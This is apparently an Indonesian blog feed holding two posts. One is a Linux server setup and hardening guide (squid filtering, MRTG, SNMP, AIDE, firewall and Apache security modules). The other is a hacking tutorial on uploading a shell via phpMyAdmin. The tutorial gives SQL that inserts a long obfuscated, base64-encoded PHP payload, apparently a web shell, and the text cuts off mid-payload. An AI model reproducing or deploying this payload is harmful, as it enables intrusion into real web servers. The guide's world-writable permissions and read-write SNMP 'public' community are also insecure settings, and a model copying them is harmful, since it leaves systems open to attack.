BL/sex/lingerie/ BL/sex/lingerie/urls BL/sex/lingerie/domains BL/sex/education/ BL/sex/education/urls BL/sex/education/domains BL/imagehosting/ BL/imagehosting/domains BL/imagehosting/urls BL/podcasts/ BL/podcasts/domains BL/podcasts/urls BL/hospitals/ BL/hospitals/domains BL/hospitals/urls BL/military/ BL/military/urls BL/military/domains BL/politics/ BL/politics/domains BL/politics/urls BL/remotecontrol/ BL/remotecontrol/urls BL/remotecontrol/domains BL/fortunetelling/ BL/fortunetelling/domains BL/fortunetelling/urls BL/library/ BL/library/domains BL/library/urls BL/costtraps/ BL/costtraps/urls BL/costtraps/domains BL/homestyle/ BL/homestyle/domains BL/homestyle/urls BL/education/ BL/education/schools/ BL/education/schools/domains BL/education/schools/urls BL/government/ BL/government/domains BL/government/urls BL/alcohol/ BL/alcohol/domains BL/alcohol/urls BL/radiotv/ BL/radiotv/domains BL/radiotv/urls [root@ns1 db]# [root@ns1 db]# cd BL [root@ns1 BL] cp -R * /var/lib/squidguard/db [root@ns1 BL]# nano /etc/squid/squidguard.conf dbhome /var/lib/squidguard/db logdir /var/log/squid dest whitelist { domainlist whitelist/domains urllist whitelist/urls } dest adv { domainlist adv/domains urllist adv/urls } acl { default { pass whitelist !adv redirect http://www.xyz.co.id/redirect.html } } [root@ns1 BL]# /usr/bin/squidguard -C all [root@ns1 db]# chmod -R 777 * [root@ns1 db]# chown -R squid:squid /var/lib/squidguard/db/* [root@ns1 squid]# nano /etc/squid/squid.conf url_rewrite_program /usr/bin/squidguard -c /etc/squid/squidguard.conf url_rewrite_children 8 [root@ns1 squid]# /usr/sbin/squid -k reconfigure [root@ns1 db]# tail -f /var/log/squid/cache.log 2010/08/22 08:52:43| Reconfiguring Squid Cache (version 2.6.STABLE21)... 2010/08/22 08:52:43| FD 10 Closing HTTP connection 2010/08/22 08:52:43| FD 12 Closing ICP connection 2010/08/22 08:52:43| Initialising SSL. 2010/08/22 08:52:43| User-Agent logging is disabled. 2010/08/22 08:52:43| Referer logging is disabled. 2010/08/22 08:52:43| DNS Socket created at 0.0.0.0, port 52827, FD 9 2010/08/22 08:52:43| Adding nameserver 202.137.2x.2xx from squid.conf 2010/08/22 08:52:43| helperOpenServers: Starting 8 ‘squidguard’ processes 2010/08/22 08:52:43| Accepting transparently proxied HTTP connections at 0.0.0.0, port 3128, FD 19. 2010/08/22 08:52:43| Accepting ICP messages at 0.0.0.0, port 3130, FD 20. 2010/08/22 08:52:43| WCCP Disabled. 2010/08/22 08:52:43| Loaded Icons. 2010/08/22 08:52:43| Ready to serve requests. Instalasi FTP Server menggunakan VSFTP [root@ns1 gtoms]# yum install vsftpd Disini tinggal mengkonfigurasi user untuk akses ke webserver. Instalasi MRTG [root@ns1 gtoms]# yum install mrtg net-snmp net-snmp-utils Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile addons: centos.idrepo.or.id base: centos.idrepo.or.id epel: bali.idrepo.or.id extras: centos.idrepo.or.id updates: centos.idrepo.or.id addons | 951 B 00:00 base | 2.1 kB 00:00 epel | 3.4 kB 00:00 extras | 2.1 kB 00:00 updates | 1.9 kB 00:00 Setting up Install Process Package 1:net-snmp-5.3.2.2-9.el5_5.1.i386 already installed and latest version————————cut—————————————- Installed: mrtg.i386 0:2.14.5-2 net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 Complete! [root@ns1 gtoms]# [root@ns1 gtoms]# nano /etc/snmp/snmpd.conf com2sec local localhost public com2sec mynetwork 192.168.0.0/24 public group MyRWGroup v1 local group MyRWGroup v2c local group MyRWGroup usm local group MyROGroup v1 mynetwork group MyROGroup v2c mynetwork group MyROGroup usm mynetwork view all included .1 80 access MyROGroup “” any noauth exact all none none access MyRWGroup “” any noauth exact all all none syslocation PT. xyz, Jakarta syscontact Root [root@ns1 gtoms]# /etc/init.d/snmpd start Starting snmpd: [ OK ] [root@ns1 gtoms]# [root@ns1 gtoms]# tail -f /var/log/messages Aug 21 21:13:50 ns1 yum: Installed: 1:net-snmp-utils-5.3.2.2-9.el5_5.1.i386 Aug 21 21:13:53 ns1 yum: Installed: mrtg-2.14.5-2.i386 Aug 21 21:22:54 ns1 snmpd[7612]: Creating directory: /var/net-snmp Aug 21 21:22:54 ns1 snmpd[7612]: NET-SNMP version 5.3.2.2 [root@ns1 gtoms]# /usr/bin/snmpwalk v 1 -c public localhost IPMIB::ipAdEntIfIndex IP-MIB::ipAdEntIfIndex.127.0.0.1 = INTEGER: 1 IP-MIB::ipAdEntIfIndex.192.168.0.2 = INTEGER: 3 IP-MIB::ipAdEntIfIndex.202.137.2x.2xx = INTEGER: 2 [root@ns1 gtoms]# [root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@localhost [root@ns1 gtoms]# /usr/bin/indexmaker—output=/var/www/mrtg/index.html /etc/mrtg/mrtg.cfg [root@ns1 mrtg]# nano /etc/cron.d/mrtg */5 * * * * root LANG=C LC_ALL=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg—lock-file /var/lock/mrtg/mrtg_l—confcache-file /var/lib/mrtg/mrtg.ok [root@ns1 mrtg]# nano /etc/httpd/conf.d/mrtg.conf Alias /mrtg /var/www/mrtg Order deny,allow Deny from all Allow from 127.0.0.1 Allow from ::1 [root@ns1 mrtg]# /etc/init.d/httpd restart Stopping httpd: [ OK ] Starting httpd: [ OK ] Untuk mengkases melalui browser ke http://iphostname/mrtg/ Memonitor server/router lain kedalam MRTG Jika menggunakan device router/modem tinggal mengaktifkan snmp, jika server lain linux ingin di monitor tinggal menginstall snmp, contoh disini pada server lain dengan IP 202.137.2x.2zz : [root@mail gtoms]# yum install net-snmp net-snmp-utils Setting up Install Process Parsing package install arguments Resolving Dependencies—&amp;gt; Running transaction check—-&amp;gt; Package net-snmp.i386 1:5.3.2.2-9.el5_5.1 set to be updated—&amp;gt; Processing Dependency: libsensors.so.3 for package: net-snmp—&amp;gt; Processing Dependency: net-snmp-libs = 1:5.3.2.2-9.el5_5.1 for package: net-snmp—-&amp;gt; Package net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 set to be updated—&amp;gt; Running transaction check—-&amp;gt; Package net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1 set to be updated—-&amp;gt; Package lm_sensors.i386 0:2.10.7-9.el5 set to be updated—&amp;gt; Finished Dependency Resolution ———————-cutt————————————- Installed: net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 Dependency Installed: lm_sensors.i386 0:2.10.7-9.el5 net-snmp.i386 1:5.3.2.2-9.el5_5.1 Updated: net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1 Complete! [root@mail gtoms]# [root@mail gtoms]# nano /etc/snmp/snmpd.conf com2sec local localhost public com2sec mynetwork 192.168.0.0/24 public group MyRWGroup v1 local group MyRWGroup v2c local group MyRWGroup usm local group MyROGroup v1 mynetwork group MyROGroup v2c mynetwork group MyROGroup usm mynetwork view all included .1 80 access MyROGroup “” any noauth exact all none none access MyRWGroup “” any noauth exact all all none syslocation Zimbra Mailserver XYZ, Jakarta syscontact Root [root@mail gtoms]# /etc/init.d/snmpd start Starting snmpd: [ OK ] [root@mail gtoms]# Kembali ke server MRTG nya [root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@202.137.2x.2zz [root@ns1 mrtg]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@192.168.0.1 Instalasi Webmin [root@ns1 gtoms]# rpm U webmin1.510-1.noarch.rpm warning: webmin-1.510-1.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 11f63c51 Operating system is CentOS Linux Webmin install complete. You can now login to https://ns1.xyz.co.id:10000/ as root with your root password. [root@ns1 gtoms]# Instalasi IDS mengunakan The Advanced Intrusion Detection Environmen Untuk mengkonfigurasi AIDE, SELINUX harus enabled. [root@ns1 gtoms]# yum install aide [root@ns1 gtoms]# /usr/sbin/aide—init [root@ns1 gtoms]# cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz [root@ns1 gtoms]# /usr/sbin/aide—check [root@ns1 gtoms]# aide—check AIDE, version 0.13.1 ### All files match AIDE database. Looks okay! [root@ns1 gtoms]# vi /etc/cron.weekly/aide.cron #!/bin/bash /usr/sbin/aide—check | /bin/mail -s “Weekly Aide Data” IT@zyx.co.id Instalasi DDOS protection APF —Advanced Policy-based Firewall [root@ns1 gtoms]# wget http://rfxnetworks.com/downloads/apf-current.tar.gz [root@ns1 gtoms]# tar xfz apf-current.tar.gz [root@ns1 apf-current]# cd apf-* [root@ns1 apf-current]# ./install.sh [root@ns1 apf-current]# vi /etc/apf/conf.apf DEVEL_MODE=”0” IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,3306” IG_UDP_CPORTS=”53,111” USE_AD=”1” [root@ns1 apf-current]# vi /etc/apf/ad/conf.antidos sesuaikan sendiri …. BFD —Brute Force Detection [root@ns1 gtoms]# wget http://rfxnetworks.com/downloads/bfd-current.tar.gz [root@ns1 gtoms]# tar xfz bfd-current.tar.gz [root@ns1 bfd-current]# cd bfd-* [root@ns1 bfd-current]# ./install.sh [root@ns1 bfd-current]# vi /usr/local/bfd/conf.bfd ALERT=”1” EMAIL_USR=”IT@xyz.co.id” [root@ns1 bfd-current]# vi /usr/local/bfd/ignore.hosts sesuaikan sendiri …. DDoS Deflate [root@ns1 gtoms]# wget http://sourceforge.net/projects/rkhunter...z/download [root@ns1 gtoms]# tar xfz rkhunter-1.3.6.tar.gz [root@ns1 gtoms]# cd rkhunter-1.3.6 [root@ns1 rkhunter-1.3.6]# ./installer.sh [root@ns1 rkhunter-1.3.6]# run rkhunter [root@ns1 rkhunter-1.3.6]# rkhunter -c Install Mod_dosevasive untuk Apache [root@ns1 gtoms]# wget http://www.zdziarski.com/projects/mod_ev...0.1.tar.gz [root@ns1 gtoms]# tar -zxvf mod_evasive_1.10.1.tar.gz [root@ns1 gtoms]# cd mod_evasive_1.10.1 [root@ns1 mod_evasive_1.10.1]# $APACHE_ROOT/bin/apxs -cia mod_evasive20.c [root@ns1 mod_evasive_1.10.1]# vi /usr/local/apache/conf/httpd.conf DOSHashTableSize 3097 DOSPageCount 2 DOSSiteCount 50 DOSPageInterval 1 DOSSiteInterval 1 DOSBlockingPeriod 300 [root@ns1 mod_evasive_1.10.1]# /usr/loca/apache/bin/apachectl restart Install Mod_security [root@ns1 gtoms]# http://www.modsecurity.org/download/mods...9.2.tar.gz [root@ns1 gtoms]# tar zxvf modsecurityapache-1.9.2.tar.gz [root@ns1 gtoms]# cd modsecurity-apache-1.9.2 [root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apxs -cia mod_security.c Buat sebuah file dengan nama mod_security.conf didalam folder /usr/local/apache/conf [root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/mod_security.conf Rules yang dapat kita buat bisa merujuk ke http://www.modsecurity.org/documentation...mples.html Kita masukkan path mod_security.conf kedalam file httpd.conf [root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/mod_security.conf [root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl stop [root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl start Selesai,Tinggal memonitor. Sedikit Tambahan Dari saya. salah satu MRTG itu fungsinya buat ngelihat bandwidth monitoring. ini kalau buat windows 1. aktifkan SNMP pada windows masuk ke control panel –&amp;gt; add or remove programs –&amp;gt; add/remove windows components –&amp;gt; centang management and monitoring tools, klik details 2. download dan install Perl 3. download paket mrtg kemudian install/ekstrak di http://oss.oetiker.ch/mrtg/pub/?M=D 4. rename folder hasil ekstraknya dengan mrtg 5. lalu buat satu folder baru dan beri nama mrtghtml 6. membuat setting konfigurasi dengan cfgmaker masuk ke cmd, misal mrtg berada pada drive D Microsoft Windows DOS Copyright Microsoft Corp 1990-1999 C:\&amp;gt;d: D:\&amp;gt;cd mrtg\bin D:\mrtg\bin&amp;gt;perl cfgmaker public@202.158.170.1 --global "WorkDir: d:\mrtghtml" --output server.cfg Nanti dihasilkan sebuah file server.cfg 7. sebelum me-run mrtg, sebaiknya dibuat indexmaker agar semua interface yang diamati tersebut bisa dilihat secara bersamaan, ga satu per satu D:\mrtg\bin&amp;gt;perl indexmaker --output index.htm server.cfg diperoleh file index.htm, lalu copy-kan ke direktory D:\mrtghtml 8. masuk ke D:\mrtg\bin kemudian edit file server.cfg pake notepad. Tambahkan : RunAsDaemon: Yes Interval: 5 Agar mrtg selalu merefresh tiap 5 menit sekali Options[_]: bits ShortLegend[_]: b/s Untuk mengubah parameter skala bytes menjadi bits 9. menjalankan mrtg D:\mrtg\bin&amp;gt;perl mrtg server.cfg Sekian Dulu Dari Saya Nanti saya akan Update Kembali Jika Ada Kesalahan.</itunes:summary><itunes:keywords>Internet Security, Website Security</itunes:keywords></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-9204230607332599503</guid><pubDate>Wed, 19 Jan 2011 01:47:00 +0000</pubDate><atom:updated>2011-01-20T02:55:05.932-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Database</category><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><category domain="http://www.blogger.com/atom/ns#">Internet Security</category><category domain="http://www.blogger.com/atom/ns#">Website Security</category><title>Tutorial Uploading Shell Via phpMyAdmin</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_29ZRNl4CE-E/TTY9WMNEtyI/AAAAAAAAAGo/Mc-MfGPwDw4/phpMyAdmin-Image.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_29ZRNl4CE-E/TTY9WMNEtyI/AAAAAAAAAGo/Mc-MfGPwDw4/phpMyAdmin-Image.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Ok Langsung Ke Pembahasan yah..&lt;br /&gt;
Silahkan Ikuti Gambar" Di bawah ini jika kalian ingin Mengupload shell kalian via phpMyAdmin, dalammelakukan aksi hacking yang kalian lakukan.&lt;br /&gt;
&lt;br /&gt;
1. Create Database di phpMyAdmin&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TTY9LjWsBBI/AAAAAAAAAGU/jdpdohtWL1A/20942192.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTY9LiTtDdI/AAAAAAAAAGY/gD2M-0PUz0Q/49887255.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh4.ggpht.com/_29ZRNl4CE-E/TTY9LxsSWRI/AAAAAAAAAGc/9ccOPVJk7mI/52299153.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TTY9MJg6KfI/AAAAAAAAAGk/Gv8QIWW_yWg/73564726.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
Lalu Silahkan Klik Edit&lt;br /&gt;
Dan silahkan gantikan Query SQL yang seperti dibawah ini&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh5.ggpht.com/_29ZRNl4CE-E/TTY9L9sTLfI/AAAAAAAAAGg/WSRGqKOJlzI/56501398.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lalu Ganti Query Di atas Tersebut dengan Query dibawah ini.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;use mysql; 

DROP TABLE IF EXISTS `temptab`; 

CREATE TABLE temptab (codetab text); 

INSERT INTO temptab (codetab) values ('&lt;?php

// ketek90@gmail.com
// no malware on this code, you can check it by yourself ;-)

@error_reporting(0);
@set_time_limit(0); 

$code = "7T37W+O2sr/f77v/g+vDKaGEPHmFQLpJSCC8AklIgN1+HMd2YhO/sJ3n3v7vVyPJtuw4Abbb9pzT
0i7Y0mhGGs2MXqPx//6POkiojiO7iY3ns1rn86akbf6yxf34I8cmcD+ccDy/tfWV2xiomsydcExm
kSQuUOoneHgeyu6zaBqubLhOAudtFTlFFiTZTvBVkrHjzi35iBMsS1NFwVVNI22KruzuOK4tCzof
U0KTjaGrHHF8CsGgF4J6sRUDKqmOZToqoEU0XFcQFR2lFzkoYQi6fPKF51N9wcEvtI4p/gtfBMKy
qJi0TehlpqJyv3Ky5sjLvBouVGuJXyRxDc8IAMO34UI2RFOSEysZGNPIDnCQZeBsBxB/Mf4c5qWG
i3X8i/JO1YeIcYg7n8z+s6jJgpFARTckxA1dGKpi3zR1D3aOIIFbAQ9xaZSkGpD4CTFMRaVkR12g
CkmpjQHAyzMXZcozSwPWbgySfIoP0uHPZ9EcG6hK6HFrJ4sQfooXUz4FlD7zuqrLPNQlgEPckXeg
s2xTO+KscR91B89C1GaWassOIJEEV07wNp/UR6i+ciKThP+y6L9cJp/Z2lqDWBdmO6iBJ3wqsZ/5
Cf2f2/3pABdA6iIBr/12exzfmMg2aiefTWWyPGq2Yw7cqWCDJCJ+ycYkwbdrrW6t9dxu1ju9cqsG
9VYHXOKTaqgghAneEQbys47Yx29xps0h2XFNzZyiCsbCbHEniKCJJBCRQ8mQish1Wve1ItagUHK9
fNWuQcXmjivr0I+WYj2PsVThmiQYes64j94SFBixLU+pTVVMDv2JUCIplEhU/OZE+FDyJ9V5llTb
y5io8pTkbVhTKZA4ko74LSoYGmVueXYhCjuPA8Qq8APUitD9YWPs4A6yBUtVEvIMicZUMQVdRXxE
DaK5PF8k0KoUhlUlAofTAWrDsk3dwqINZVM892WDw+m4bqAk4lRKbKVOG61atdNsPT63a7flVhk9
ei3hvvqEP2ErNLZtpAbPkIb1E1PDIHEEfxy6xYAikkzNElwlAXqHrOsXyJowKglJyQ1gD07emHzO
IMYNTFRQVLiELRhDBFTmk/wT6mLB4TY02XVlewuqiQyEBtX0uo9kpfgjhJTKMYbBwCTT4VKIVccC
p9jyAFmxn+dIn9iCX/jSZ46nhf10Hkz5xgQhYvHQ56LHuDANxxIMTtQEx0F0hsJcQKgZWsdpACjx
qHSoHPfLcVooQRV+9URmMDZEsMXPSK8dNB7wYJxnoHrWdAxCAIPPaqChPcSSgjoFkiI64qX5qijb
yGo8qxYVAMV03P6c2PlnYi0+8+edzu3zebPdwaZwQ58TeB9gs1W7bnZqz+XT0xa20n3VkCzTdrE1
ymdzeZ5JfLYQkyCnnz/YHVHpcRgpiRHXJNUq+DO2NaoASHASGyp6yXAgqdwxB+OBOcA66CADj5O3
t7FuI7lcsOVevHIv3PEJlIZHFha6HPB83nj5ZZUKefWJEzOMBeYYIAcEkfoL0hk+DhlKB0HgIyPn
LWL6500bD7zUSJkaMTwkC72RPFR7Q54yOejNy/lk05Eb1SIFCJLkCYFsFYPZipeGG9YfD/Dw6w0i
SIT7Npcu4Z6EPGAPsc1MFqo6WAwyE2IAVSmuPE+kj0PShIdcXxiBG3EK9X9Ujbi5OQ6KYXmMVMIb
dbZYat5IFIu7eUOR+3iIxry3eL1+HC4etJ4qfIr/0eg7VhGMJnkigoEEqOgrNLX4Gy5MUb4ik+qO
bYNzbVWHwfHZli1NEJGRpGSSPDKoGBaPOT4WZkpFMYGJ+wFMPM56fh2bruw8Dy0xsQUWkxLC0ICJ
viOaquWgpiqyQ1GF6DiKOfVGvSQdH/AMGAQOyY9g28KcTPSiKX+0qfPG15/RzxH8oqIiKSjVtGTD
H71RA6YKnmFR1YApF86VFDqJ8AYhMlf/Spv3+RdQGUgLrSCeBz6yLZ85YdhfkTyZjuwRgSQH2coE
gUXv5E2ib9i4gMl+j81ECyxoxCffOKKyBAcM9d5kgio80jxkHnVOwDwPjBmyDfyPgm4VZydIFjTt
C8/pMFxICARx2kXvjjvXYK2gC6hfjKNDa4YMLPqviNSDO3aFPuKlpzWiLvXNGVNoqkpoubKX+SeF
tkvHrlSiEnWcRs/wfqwa1tjlTOPaRN3ZRNYCFXUV1UkNTHHsILFCKFWJEECPHjlcDC1XOJjeQxEk
yOiNLm4IbLgmu5mMNQNsE0EbQzJ6THv0w2j7YzfAjKatuuoy5c5M7oeAFMmOI3hI6SEiuLVpxAI0
JkBnlJb6hOU+UoQ3mU+qTauoqJIkG0Gd5kxtva7GFfG7AebCeDWIqqOh1co39MfQdM13dwjQe7tH
QnX9k3oGvYBclyLijdXSlgNRVkpABkEr8BJPoAQKugIkl6Uw5tSQ7aOhbY6tN7BZsq07K2CyHjo0
oKkDVZZWwRUoHBE9ig4zgFpPbFxKXG6LzsZOMsUN9Rgn7+SKePblWxo8o0LGB0+EYmdU1HJ7hgn6
118fUOuHlwVEDIkppi94bYjWHdxXf90FowcZBsDq4n7+FB5hyP4L5qmHBwbSDcxfBhiPNAQYZ4WA
cXGoLTbrm2TWlYpfEqAZi7cUSBEqXgF2ReZjJOuuX5lZiKeSS7NNogmlDU9DhZKvpVeNm0vvxe9g
0LgdQVOHxpGIuI3okJkqpg0LFlqYT8GkAQsTGR2DvLdwke0Paed655E7P1L5JGagjrdCyEDL0CHs
wrbCVV11lEUoQo2EEngEQqOk6zcZzVcBacpSLFSAvuE11f9xQfEXYSI4IprKuEfueCTYiU1CYzNJ
H55BmzfBXGEcDA/JhPNtA8zUHCNjjJ0j6/2xMVeXzXSmaMHMwhge/UZDHWf9lgxZdpdaslijq4/Q
7IOhIDwjTjwTVqyhEm9jKU6y8FiqSH4vbMmpJU6zZlUK7Iw/lQqp+l9Y17F9/CPUHRP6bhpPsK1T
+tzbSk/b/pv0Pufpfe576n3ub73/rXrPBYrPM0ryF1FyLEp8Cg5HbIRSlP1apfhnTTVGiFdLgz4F
id9UwvubntUkW43LyztAE7OcW1ub30nS6XZWWN5pA/m3kL9fIXKZdQpBd85WVuK3aYSH00/4JnSi
YIiyxqDzE0xD1FRxBK0iFm9dFyI7uE7esGEMqScSVCRo320ymQoIfpchxlNidohZMxisbXtyPefw
mEE6cWnYYQeugSRrsitH1RVUk+QEY7dv9n4N1jyDYM0D20ewezTWNH+7luwffat9pAfN77GOHui/
k20k59DLltHnPewjnGCG4amSN0P4TSaQEv1DDSBMdP5k8+dV4T/b+DESs6zfTM8uG77Ago1HY1sA
fwokVh+wW+tt4QeRrTeCgMtDxi0tIMJTak874OUd0+ffws/3WEtqLL1aBRZydQktgEYs1kxBAnhy
wJJYVQYcZ/xy8AJltiJmmDFEdJsPJXsHJZAXOgrx5YLYaXwKpS5kz0uKuKp4ZwB+7vEJl83kdrd8
vJBapF4GUaifCOhXzseMjKohUaA0hknmtop+LXmSM+qzs+k1hRkcERR63z+jxmi8XHKOwrABfBU2
RF0ijYwe3mySI8NNfOYEnkCOK9guHAd9IjmkbHAeATAh9ygARWmyIQVeRNE+odsFS8RR3URKGh4x
reSGLTtjzXUYovSQmIzANBuPweQZBlf/cI8kMUdmb9YCzr9dxR7HMcHL+13ZgA9wnikzvgY0gnSP
fBQj08/uWFOps1rSO2PEf4l/m2oMNDBS4Da2v/ssydjdzT+qxJs5vhMhnL5RVPyUJ2wZoGGA4l8Q
Agto8wCfk/lehqEqCXpf1RIbYI2SBICjO8QWQwZn8zYfHPP9MMDnYgMLU94AHqcAHo79IDmJ1Q6I
BeQtfHJu5eLqD9Wc2qqL4XJJjDBUdysXrTqqCMiaZXv+B9gfAnsIoQzwvCE+LokfZN1y5/QQjzm4
xSfE3tGer+rhTDtK1TOYVBHGtkbnjQI9+Ayc/iCvyDlT1YV6gnQg9CLK5janUySZm0e4vqQdmzhl
Czs7QEn0sNOEZw/1VrGPmDsqehi0uTELY8ApgGHHMce2KAeYSusQ4T7bRBNPKgtTVCa5GlpGrQFo
hjBJw5RNlhIkWLQWS9VHIuVE8JC0j7cAOBfGdFbrhHm5tryIYCIIcFK4N8xYFJI8EJAxO+Loe2DT
PNCQqWfnL4y2gZPECR7z2Ews2PB+srlZpI9gQAk89yOXyexmMlvcz9ymDfXf3FkFlqNg0/VgWQo2
Ww+GqL6HKKL6HqKI6ruIZnbfRTSTexfRTDZC1Os2DF2MGbPpT3joZmdvYf+TkOsJxyf5Z8/thHhB
gVsX+Hc999FwdML3uzdKv2BOa7e55ux8e9dSGrs3jZvyTSYjPM4uhN6+Lsxe++2r2c3p5an6MFOv
Hke9/OVZ00rnF1rTMg9mjceDQv5lMuC2B9rhZftughY61VbupmMO7D0r37cPlZ6uPEz3K3cF/bF8
qOkvzd37h/lpwWzfCeVuoTyv31ZvWsK21ar23KF+Z1/UuNv0WUMZD+6Gud1C35Z2Df3FLLRmldf5
TXk87TWliY6eLi+251OtotqKbImuPW5qvcL1heQu7NFLp3s5r1d2s09PnHTZafQu+xnFvJ/q92Vx
6tbd/W19u/Zw2b3ouq3zs3I1czDppuVFThxMJw9ty1XFuTsyH7XuUHtID27UcXlxWtvvXnH5zqBr
T3fN3G0W2dzbhXNhNwdm60UriAOl9zJpCO6iNbmZGAfbzp55eOsWmpP71qL31C3sSndD1HXDTDU/
vetejofc/Wuu3qkbL6eLyaz8YCmzgvhwN5jZ+7eiq1zVzPShcPh6WClcDa3R3YHZHF5e9yc3ckc5
v3b67WZzv9AoZ7TM3qP1MOLOTzuH5zO7m6nvXqmL+96gtn2da4+lwVBVH/vNm5naduW+PZw3Xgav
pxdnmYNyTy0vHiti4Uqd3Oevu9ZZvZubZS92e2hJNysb6uTx8fC8W3dqr736dnpw4FRGuZvW3aV4
Wk5fuE5t7/pUL9Tuz7avFbH+OrIeMuf67Kz/2h9Jlc61JgnnLef+inuSzVO52a5XJpY8qA4elAGS
nWFnNLnYfnEv1dbB5MpUHi+rr+3ck37detl92hvePQ3a6nVf3VdfR5JxLti12sPjeLTPjW/djjTW
HTtzXt193bPtxY066B441fxT715/3b7qal1hrzm4e+kIxtPjXXP7foC9F1nht7QT/unpQukcNqa1
hpAepcuDl5E2bOeE8nalrl+cVrJib2903n46W3Quc3czSx/nptqjeZru2+NKY6C6Uj4/njyMJ5Oe
neVu9IdWL3vamx+cN3Qzk5P7LSlbuHzNVhvjbr5y4/bOFndP8jC/mztVZuLjVKyWz+Vqr2pkh6fN
2lDNzs+Vq8eHxWA65Nyb10t57Kbnlxc36n1l1xk9KsP8kyxe1zqGpg8uL+3FrjmoP+wr+dbTRf70
Xr+vC2bHWTQPXmaL21Mn0zxsS7e1u9EpJ6dnTno4enRuCqdt5SzTFqe1i/LDWfn1bDzQpdecclmv
Gvo423iZtEbW+b5SS1fH0z1HHHSEXrnZrRWs673etTm+znBX7avLwvl13hpfWzeKdWAfPtV7e7sv
w73pw2zv8enq7n5++dBdTKX7h6ftTl7VH81uQXIOLl5vmjXtrvNizG7Fw1HL7prcROjlxT1LaGf3
nZcnc/+1UxvfXd5n75vpVtuoX5wJwlCsd/sv953qq9x8yr2qLzdXvYV9enjbkfO5hwLSiMl1pv9y
VuG2FVkcNO/qWmf3Xrxqj/RGVpQf813buryeF6TefbVbrQw62t3DfnM6PzzBvlSCOIKpuiGL7gk/
eKq32ofX03rjYVBJO7e99jSn3NvG6/y2mqlap/nLtjt5VTIPLUt0atnLkXlZTz+oHbfa6O674729
7afDwvxxr5dpu9zIPascCqriWPZtb9StXDpDIytM9hbVm6x6d+Y0J7v1vjDat3r6zfA+fXF/V93t
57XWfb7SOmjWX8W6YrnXyMLmDl+4dm6qdMdadaBVbyYP3Xk6fbk/uJJ6je32rSiPkOK2tVlj1jFa
kiCetmtlo7w/fLpoVc6uLaU/rebHlzfTw7LyULt84l6EfEMXtUdhqOxnjcLFZb9TVsYHNbN/k7/r
7+ovvXR/bmcqbUPMn+ZrveGrfDC4amanirWnozFg2z2/Fm/OrbP71pTrOKOJJRVy2/bMvKxJlmRP
npRhRTbS8gxZoLxRy2V31c4eAkhXp/n03ovwqlxeFdR63Rpf3grTxlX3Znqy1BswOj10z/vCsDGr
nWce0g1JUZ6u7nv17CD7eNmoyFr9dfB0oan3eq53YPbVi4urq56WLuyOcgW7p8xrC3H7Kdd5sdqO
bJe5yuPc3c1eDDRp4HbHYl46aBVeC/qVeCaXa6O9/f2M0y0LIzFbv3utV2avhjKqdLXGqVbYS+d7
wm5+YJnuvFqutAp73GJhLR7LB1Xh+nVvLtxXL7Pd8qM1tg4ehMcn67aWvSnbjYpeaS2GXbf7aF7c
XYut9Es3P7msZu3G/nTY1m/SBrLKB3ucup3Liq1dy+g+9u4FUVMn4vV1ejZpnb4oc6d/3p1Kcqa3
fZmZLs4LfTf/OGjdqsawqnWrhqofCOmn8UU1c9GZDvJlrjU6zQxa25XCw0VO3z/Mv6RvrdvH87ow
6e3mq4vFojevNwb9RlmpqD3VqJxXzd3yQ1uvazN1fFvJ1zLp4YP8oqIufuRepuLjcNwoy7mz6xv1
5anwcrV79vjaaVcK5UlNPz97GaX1bEHJVs8mt+Z543GvnG0qObeWf2jI2f7scnpw8NiZu/udXJ3b
HxSmZ7XbGeqy+miy13y1d93a3tVjzTDnjcHpVDoXHy6zqmYPytJ9//b2ikjFzyXuWHF1rXQMF3BK
x67qanLpCE19wSud07NGljv+2VIsertpAnvTqNDR0XGawHLHZGuM7FLinbp0sGHGl9ilMuydaWgK
newL9hhNqyRTHMMdK9gCrGkyPFbmDQnDbKXw5l8KrmVpwhytwjYN05DRrG5VKYx0uVRfM8XRJkzQ
